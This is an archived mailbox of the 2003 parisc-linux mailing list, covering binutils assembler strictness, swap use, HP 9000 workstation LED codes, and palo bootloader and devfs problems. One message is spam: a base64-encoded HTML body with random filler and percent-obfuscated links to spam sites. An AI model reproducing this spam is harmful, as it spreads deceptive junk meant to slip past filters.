Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81A904829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Jun 2003 10:14:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h57GEpgL006149;
	Sat, 7 Jun 2003 12:14:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h57GEpnf006148;
	Sat, 7 Jun 2003 12:14:51 -0400 (EDT)
In-Reply-To: <20030607154205.GG30457@lug-owl.de> from "Jan-Benedict Glaw" at Jun 7, 2003 05:42:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18635

> jbglaw@b132l-1:/usr/src/packages/full_cvs/linux-build-2.4$ as -v
> GNU assembler version 2.14.90.0.4 (hppa-linux) using BFD version 2.14.90.0.=
> 4 20030523 Debian GNU/Linux

Try updating binutils and remove whitespace from the argument of the
PA macro.  The assembler is now much more strict about the presence of
whitespace in the operands field.  There was a recent version that didn't
allow any whitespace.  The current cvs version allows whitespace after
a comma.  These changes were made to improve the detection of labels.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: compiler & kernel (2)
Date: Sat, 7 Jun 2003 21:39:32 +0100 (IST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306072132250.30116-100000@sal.ucc.ie>
References: <3EE1007C.3030904@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622504 26580 80.91.229.3 (22 Nov 2014 02:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  7 14:39:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E23F4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Jun 2003 14:39:44 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h57KdYR24436;
	Sat, 7 Jun 2003 21:39:34 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3EE1007C.3030904@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18636

On Fri, 6 Jun 2003, Joel Soete wrote:

> I launch it on my b2k and it seems to works fine (any boot pb); I so use
> it to rebuild te same kernel with gcc-3.3.
> It also compiles well (in about 12min).
> But I notice something strange: runing a top in another xterm, I notice
> that swap was well on but absolutly not used where usually my kernel
> (near about debian std cfg) used about 20Mb of swap (with 256Mb of ram).
> Is it a wanted behaviour? (config option?)

I don't think I can help you here, I hardly run out of physical memory
(I've 1GB RAM in my machine), but during my tests I was able to
deliberately force the machine to run out of memory and using swap.
I never see the kernel using swap on my machine at all, unless I really
want it to happen ;)

So swap for me works, but I hardly will ever have to come into a situation
where heavy use of swap space will be required (at least I hope so).

Max



From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: compiler & kernel (2)
Date: Sat, 07 Jun 2003 21:49:32 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <3EE25DEC.1040105@tiscali.be>
References: <Pine.LNX.4.44.0306072132250.30116-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622505 26583 80.91.229.3 (22 Nov 2014 02:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  7 15:35:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id D93E94829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Jun 2003 15:35:16 -0600 (MDT)
Original-Received: from [62.235.171.215] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19OlLA-0002nf-00; Sat, 07 Jun 2003 23:35:08 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.44.0306072132250.30116-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18637

M. Grabert wrote:

>On Fri, 6 Jun 2003, Joel Soete wrote:
>
>  
>
>>I launch it on my b2k and it seems to works fine (any boot pb); I so use
>>it to rebuild te same kernel with gcc-3.3.
>>It also compiles well (in about 12min).
>>But I notice something strange: runing a top in another xterm, I notice
>>that swap was well on but absolutly not used where usually my kernel
>>(near about debian std cfg) used about 20Mb of swap (with 256Mb of ram).
>>Is it a wanted behaviour? (config option?)
>>    
>>
>
>I don't think I can help you here, I hardly run out of physical memory
>(I've 1GB RAM in my machine), but during my tests I was able to
>deliberately force the machine to run out of memory and using swap.
>I never see the kernel using swap on my machine at all, unless I really
>want it to happen ;)
>
>So swap for me works, but I hardly will ever have to come into a situation
>where heavy use of swap space will be required (at least I hope so).
>
>Max
>
>
>  
>
Max,

I will so have a more detail look in your config.

(the other server I can use is a N model with 2Mb wich I do not see used 
more than 1.7 Mb and so not need to swap :-) ; OTC my 256Mb (or less) 
boxes usualy need swap. Let see)

Thanks for info,
    Joel

PS: Do you still encounter starvation pb?



From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: compiler & kernel (2)
Date: Sat, 7 Jun 2003 23:04:36 +0100 (IST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0306072257080.30116-100000@sal.ucc.ie>
References: <3EE25DEC.1040105@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622505 26586 80.91.229.3 (22 Nov 2014 02:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  7 16:04:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DA1B4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  7 Jun 2003 16:04:39 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h57M4cR25337;
	Sat, 7 Jun 2003 23:04:38 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3EE25DEC.1040105@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18638

On Sat, 7 Jun 2003, Joel Soete wrote:

> Max,
>
> I will so have a more detail look in your config.
>
> (the other server I can use is a N model with 2Mb wich I do not see used
> more than 1.7 Mb and so not need to swap :-) ; OTC my 256Mb (or less)
> boxes usualy need swap. Let see)

I think you are talking about GB here, not MB ;)

> PS: Do you still encounter starvation pb?

I'm not sure, I've to check the /var/log/messages* files more closely.
When I was browsing through them last time (when I sent the dmesg to the
list) it didn't seem so (the 'beast' is now up almost 2 weeks).
So if there are 'target is suffering tag starvation' messages at all,
there are at least so few you can hardly spot them ;)

Max



From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-marc Harang <jean-marc.harang@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Reference, service or even user's Manuals for 705 and 750
Date: Tue, 10 Jun 2003 15:24:15 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20030610152415.609eb9b3.jean-marc.harang@laposte.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622505 26590 80.91.229.3 (22 Nov 2014 02:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 10 07:24:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from montperdu.pyrene.net (jmharang.net1.nerim.net [62.212.119.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2EFC4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jun 2003 07:24:06 -0600 (MDT)
Original-Received: from montperdu.pyrene.net (localhost [127.0.0.1])
	by montperdu.pyrene.net (Postfix) with SMTP id 459D413E32
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jun 2003 15:24:15 +0200 (CEST)
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18639

Hello,

I just bought two PA-RISC Hardawre :	

1) One HP9000/705, very interesting because of low noise ;)
2) One HP9000/750 (Cobra), with 128 Mo and 2*1.5 Go hd. Beautiful !

I've looking after documentation (HP, OpenPa Project, PARISC, etc..)
and I don't find any documentation for theses workstations, except
"lpv38008.pdf", User's manual for 750. 

Where can I find these documents ? Could somebody help me to get them ?
  
Specially, I have great difficulties with the 750 and the hardware selftest.
I notice an LED error code I don't understand. 

I get that (reading up to down) :

 Green led Power : on
 amber 1 : on
 amber 2 : off
 amber 3 : on
 amber 4 : off
 amber 5 : on
 amber 6 : on
 amber 7 : on
 amber 8 : off
 Service led : off

Any idea ?

Bests regards,

Jean-Marc

PS : Sorry for my poor english :( !


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Cole B. McClure" <colemcClureft@australiandomainregistration.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Do you remember me?
Date: Tue, 10 Jun 2003 15:24:19 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <46db01c32f64$cc0b732b$5e9e28de@wv6qdk2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0D9B_E04139E8.53ECF05D"
X-Trace: ger.gmane.org 1416622506 26597 80.91.229.3 (22 Nov 2014 02:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 10 09:22:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fastmail.fm (cm218-252-54-90.hkcable.com.hk [218.252.54.90])
	by dsl2.external.hp.com (Postfix) with SMTP id 07A8C4839
	for <parisc-linux@parisc-linux.org>; Tue, 10 Jun 2003 09:22:29 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18640

This is a multi-part message in MIME format.

------=_NextPart_000_0D9B_E04139E8.53ECF05D
Content-Type: text/plain
Content-Transfer-Encoding: 8bit




------=_NextPart_000_0D9B_E04139E8.53ECF05D
Content-Type: text/html
Content-Transfer-Encoding: base64

IA0KCQ0KPEhUTUw+DQoJDQoJPEJPRFkgQkdDT0xPUj0jZmZmZmZmPgkNCjxw
IGFsaWduPSJjZW50ZXIiPmYzMWlpMTI2Y208WkhYVT5zNjZranUyazdiZG12
Nzxicj4NCjxhIGhyZWY9Imh0dHA6Ly9Xd1cuRkluRC1ob29QLmNPbS8lNjhv
JTczdC9lJTZEYWklNmNyZW0lNmZ2JTY1LmElNzMlNzAiPlN0b3ANCk1haWxp
bmdzIEhlcmU8L2E+PGJyPiANCjxhIGhyZWY9Imh0dHA6Ly9Xd3cuTWFyZ3Jh
dEUuY09tL2hvcyU3NC8lNjRlZmF1bCU3NC4lNjElNzMlNzA/JTY5JTY0PSU3
MyU3NHgiPjxYUlo+PGltZyBzcmM9Imh0dHA6Ly9XV1cucklDSC1mdUxsLkNP
bS8lNzBpY18lNzdlbCU2Yy9ndiUzMi5naWYiIGJvcmRlcj0wPjxDS1NVPjwv
YT4NCjxicj40ajI2cnMzOGVqNzJqMTxicj5ucnFleTQycWd1NTNiPC9wPiAN
CgkJCQ0KPC9CT0RZPjwvaHRtbD4NCg0KDQo=


------=_NextPart_000_0D9B_E04139E8.53ECF05D--



From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Wed, 11 Jun 2003 19:46:54 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <3ED4C8B600004A2B@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622506 26601 80.91.229.3 (22 Nov 2014 02:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 11:47:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 954314830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 11:47:07 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19Q9fT-0007rQ-00; Wed, 11 Jun 2003 19:45:51 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 11 Jun 2003 19:46:54 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18641

Hi Bjoern,

Anoyed to change my fstab because I add or remove a disk to/from the external
scsi controler of my b2k (boot disk sda became sdb, sdc, or what else),
I decide so to test devfs kernel. It seems to works (excepted that I could
not specify root=/dev/scsi/host1/bus0/target5/lun0/part5)

Coming back to the actual pb with new palo:
the original ipl prompt is:
PALO(F0) partition contains:
    0/vmlinux32 3826722 bytes @ 0x44000

Information: No console specified on kernel command line. 
his is normal.
PALO will choose the console currently used by firmware (serial).Current
command line:
3/vmlinux-2.4.19-pre10-pa39-tsi root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
 0: 3/vmlinux-2.4.19-pre10-pa39-tsi
 1: root=/dev/sda5
 2: HOME=/

 3: console=ttyS0
 4: TERM=vt102

which I would like to change in:
Current command line:
3/vmlinux-2.4.21-rc8-pa35-devfs root=/dev/scsi/host1/bus0/target5/lun0/part5
HOME=/ console=ttyS0 TERM=vt102
 0: 3/vmlinux-2.4.21-rc8-pa35-devfs
 1: root=/dev/scsi/host1/bus0/target5/lun0/part5
 2: HOME=/
 3: console=ttyS0
 4: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/scsi/host1/bus0/target5/lun0/part5 HOME=/
console=ttyS0 TERM=
t102 palo_kernel=3/vmlinux-2.4.21-rc8-pa35-devfs'
Selected kernel: /vmlinux-2.4.21-rc8-pa35-devfs from partition 3

the system hang here (just read on LCD "init c7ff")

(btw, there is no pb if I don't change root path and the final lenght of
cmd line is of 121 characters < 256 of buffer ??)

I so come back to palo-1.2 where the pb don't occure:
Command line for kernel: 'root=/dev/scsi/host1/bus0/target5/lun0/part5 HOME=/
console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.4.21-rc8-pa35-devfs'

Selected kernel: /vmlinux-2.4.21-rc8-pa35-devfs from partition 3
ELF32 executable
Entry 00100210 first 00100000 n 6
Segment 0 load 00100000 size 2101928 mediaptr 0x1000
[...]

Even thought later:
[...]
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "scsi/host1/bus0/target5/lun0/part5" or 02:00
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 02:00

Never the less, in the cmdln the root device seems to be well /dev/scsi/...
and here is just mentionned scsi/... (may be normal, don't know)?

Any idea (how to debug)?

Thanks in advance,
    Joel





---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Wed, 11 Jun 2003 18:51:10 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030611175110.GE28581@parcelfarce.linux.theplanet.co.uk>
References: <3ED4C8B600004A2B@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622506 26605 80.91.229.3 (22 Nov 2014 02:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:06 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 11:51:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 433E64830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 11:51:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19Q9kc-0003JX-Cj; Wed, 11 Jun 2003 18:51:10 +0100
Content-Disposition: inline
In-Reply-To: <3ED4C8B600004A2B@ocpmta1.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18642

On Wed, Jun 11, 2003 at 07:46:54PM +0200, Joel Soete wrote:
> Anoyed to change my fstab because I add or remove a disk to/from the external
> scsi controler of my b2k (boot disk sda became sdb, sdc, or what else),
> I decide so to test devfs kernel. It seems to works (excepted that I could
> not specify root=/dev/scsi/host1/bus0/target5/lun0/part5)

(a) devfs is shit.  do not use it.
(b) even if it's compiled in, the kernel still matches `root=' against a
built-in table that has nothing to do with devfs.
(c) devfs is shit.  do not use it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Wed, 11 Jun 2003 19:52:53 +0000 (UTC)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306111939570.50958@e0-0.zab2.int.zabbadoz.net>
References: <3ED4C8B600004A2B@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622507 26608 80.91.229.3 (22 Nov 2014 02:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 13:56:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDB7B4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 13:56:40 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id BD540200015; Wed, 11 Jun 2003 21:56:33 +0200 (CEST)
